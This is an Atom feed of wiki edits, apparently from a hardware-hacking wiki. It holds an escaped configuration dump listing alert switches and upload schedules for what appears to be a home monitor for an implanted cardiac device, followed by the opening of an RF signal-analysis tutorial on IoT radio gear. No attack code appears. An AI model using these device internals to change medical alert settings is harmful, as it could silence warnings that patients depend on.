   &amp;lt;Switch name=&amp;quot;UNSCH_DCHK_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SCHED_DCHK_PREF&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;Alert_Controls&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HIGH_VRATE_EPISODE_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;V_AUTOCAP_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ACAP_CONFIRM_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;RVCAP_CONFIRM_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LVCAP_CONFIRM_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HIGH_VRATE_EPISODE_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;V_AUTOCAP_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ACAP_CONFIRM_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;RVCAP_CONFIRM_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LVCAP_CONFIRM_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CONG_MON_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_IN_MRI_MODE_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_RST_MRI_MODE_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;EARLY_DEPLETION_DETECTED_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PER_BIV_PACING_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PER_RV_PACING_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CONG_MON_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_IN_MRI_MODE_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_RST_MRI_MODE_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;EARLY_DEPLETION_DETECTED_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PER_BIV_PACING_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PER_RV_PACING_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LFDA_TIMEOUT_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ST_TYPE_2_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;VT_VF_3_PER_DAY_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;THERAPY_EXHAUSTED_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HV_THERAPY_UNSUC_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;VT_VF_OCCURED_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LFDA_TIMEOUT_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ST_TYPE_2_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;VT_VF_3_PER_DAY_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;THERAPY_EXHAUSTED_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HV_THERAPY_UNSUC_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;VT_VF_OCCURED_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LFDA_NSLN_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LFDA_RV_NOISE_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ST_TYPE_1_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LFDA_NSLN_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LFDA_RV_NOISE_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ST_TYPE_1_NOT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;AIMP_OOR_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CCRG_LMT_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_EOS_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_ERI_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_EVVI_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_RST_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HVIMP_OOR_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HW_BVVI_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LVIMP_OOR_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;OCD_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SOSD_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;RVIMP_OOR_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;TTRPY_DIS_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATAF_DUR_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATAF_WK_DUR_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATAF_VRATE_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATP_RX_SUCCESS_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HV_TRPY_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PERCENT_BIV_THRESHOLD_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PERCENT_RV_THRESHOLD_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ST_MAJOR_EPISODE_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;TRPY_ACCEL_ALERT&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;NOISE_REV_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;NSVT_EPIS_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;NSVF_EPIS_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_1_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_2_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_3_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_4_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_5_ALERT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;AIMP_OOR_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CCRG_LMT_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_EOS_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_ERI_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_EVVI_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;DEV_RST_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HVIMP_OOR_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HW_BVVI_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;LVIMP_OOR_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;OCD_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SOSD_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;RVIMP_OOR_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;TTRPY_DIS_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATAF_DUR_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATAF_WK_DUR_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATAF_VRATE_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ATP_RX_SUCCESS_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;HV_TRPY_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PERCENT_BIV_THRESHOLD_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;PERCENT_RV_THRESHOLD_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;ST_MAJOR_EPISODE_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;TRPY_ACCEL_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;NOISE_REV_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;NSVT_EPIS_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;NSVF_EPIS_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_1_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_2_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_3_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_4_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_5_NOT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;BIV_PACING_DURATION&amp;quot; value=&amp;quot;7&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;RV_PACING_DURATION&amp;quot; value=&amp;quot;7&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;ALERT_MASK_DURATION&amp;quot; value=&amp;quot;4000&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;PERCENT_BIV_PACING&amp;quot; value=&amp;quot;100&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;PERCENT_RV_PACING&amp;quot; value=&amp;quot;100&amp;quot;/&amp;gt;&lt;br /&gt;
   &lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;GDC&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;GenerateSchedule GS_Interval=&amp;quot;1440&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;UploadSchedule US_Interval=&amp;quot;168&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SCHED_GDC_PREF&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;CLEAR_GDC_FLAG&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;Maintenance&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;UploadSchedule US_Interval=&amp;quot;168&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;MAINT_REBOOT_PREF&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;MAINT_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;RF_STAT_COLLECT&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;STAT_DATA_UPLD_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;MED&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;GenerateSchedule GS_Interval=&amp;quot;24&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;UploadSchedule US_Interval=&amp;quot;7&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SCHED_MED_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SCHED_MED_WINDOW_PREF&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;ACTIVE_MED_SCHEDULES&amp;quot; value=&amp;quot;1&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;MED_SCHEDULE_1&amp;quot; value=&amp;quot;1100&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;MED_SCHEDULE_2&amp;quot; value=&amp;quot;0500&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
 &amp;lt;PayloadProfile Type=&amp;quot;Spare&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;GenerateSchedule GS_DateOfEvent=&amp;quot;2000-01-01&amp;quot; GS_Interval=&amp;quot;0&amp;quot; GS_TimeOfEvent=&amp;quot;08:00:00&amp;quot; GS_UnscheduledEvent=&amp;quot;Disable&amp;quot; GS_WeeklyEvent=&amp;quot;Sunday&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;UploadSchedule US_DateOfEvent=&amp;quot;2000-01-01&amp;quot; US_Interval=&amp;quot;0&amp;quot; US_TimeOfEvent=&amp;quot;08:00:00&amp;quot; US_UnscheduledEvent=&amp;quot;Disable&amp;quot; US_WeeklyEvent=&amp;quot;Sunday&amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;Controls&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG1&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG2&amp;quot; value=&amp;quot;Enable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG3&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG4&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG5&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG6&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG7&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG8&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG9&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;Switch name=&amp;quot;SPARE_FLAG10&amp;quot; value=&amp;quot;Disable&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER1&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER2&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER3&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER4&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER5&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER6&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER7&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER8&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER9&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;iSwitch name=&amp;quot;SPARE_INTEGER10&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL4&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL5&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL6&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL7&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL8&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL9&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL10&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL1&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL2&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;rSwitch name=&amp;quot;SPARE_REAL3&amp;quot; value=&amp;quot;0.0&amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT1&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT2&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT3&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT4&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT5&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT6&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT7&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT8&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT9&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
   &amp;lt;tSwitch name=&amp;quot;SPARE_TEXT10&amp;quot; value=&amp;quot; &amp;quot;/&amp;gt;&lt;br /&gt;
  &amp;lt;/Controls&amp;gt;&lt;br /&gt;
 &amp;lt;/PayloadProfile&amp;gt;&lt;br /&gt;
&amp;lt;/profile:ProfileList&amp;gt;&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=Blind_RF_Signal_Analysis&amp;diff=2821</id>
		<title>Blind RF Signal Analysis</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=Blind_RF_Signal_Analysis&amp;diff=2821"/>
		<updated>2017-08-07T00:50:39Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: Rjmendez moved page Blind RF Signal Analysis to RF Signal Analysis&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[RF Signal Analysis]]&lt;/div&gt;</summary>
		<author><name>Rjmendez</name></author>
	</entry>
	<entry>
		<id>https://wiki.exploitee.rs/index.php?title=RF_Signal_Analysis&amp;diff=2820</id>
		<title>RF Signal Analysis</title>
		<link rel="alternate" type="text/html" href="https://wiki.exploitee.rs/index.php?title=RF_Signal_Analysis&amp;diff=2820"/>
		<updated>2017-08-07T00:50:39Z</updated>

		<summary type="html">&lt;p&gt;Rjmendez: Rjmendez moved page Blind RF Signal Analysis to RF Signal Analysis&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page will be to cover some basic RF signal analysis.&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
Many IoT devices use &amp;lt; 1Ghz signaling for various functions (various sensors, remote controls, device to device communication) with an undocumented and sometimes proprietary protocol. It can often be difficult to understand these without documentation and the aim here is to provide some of the first steps needed to identify and decode some of the data. The hardware used in this demo will be:&lt;br /&gt;
&lt;br /&gt;
A HackRF from Great Scott Gadgets. (https://greatscottgadgets.com/hackrf/)&lt;br /&gt;
&lt;br /&gt;
An RTL-SDR dongle from the rtl-sdr blog that is for sale on amazon. (http://www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/)&lt;br /&gt;
&lt;br /&gt;
Another device from Great Scott Gadgets, the YARD Stick One. (https://greatscottgadgets.com/yardstickone/)&lt;br /&gt;
&lt;br /&gt;
== Where to look ==&lt;br /&gt;
&lt;br /&gt;
One great place to start is with the FCC documentation for the transmitting device, if the device has an fccid then it will have information on file. Some good reference links are below.&lt;br /&gt;
&lt;br /&gt;
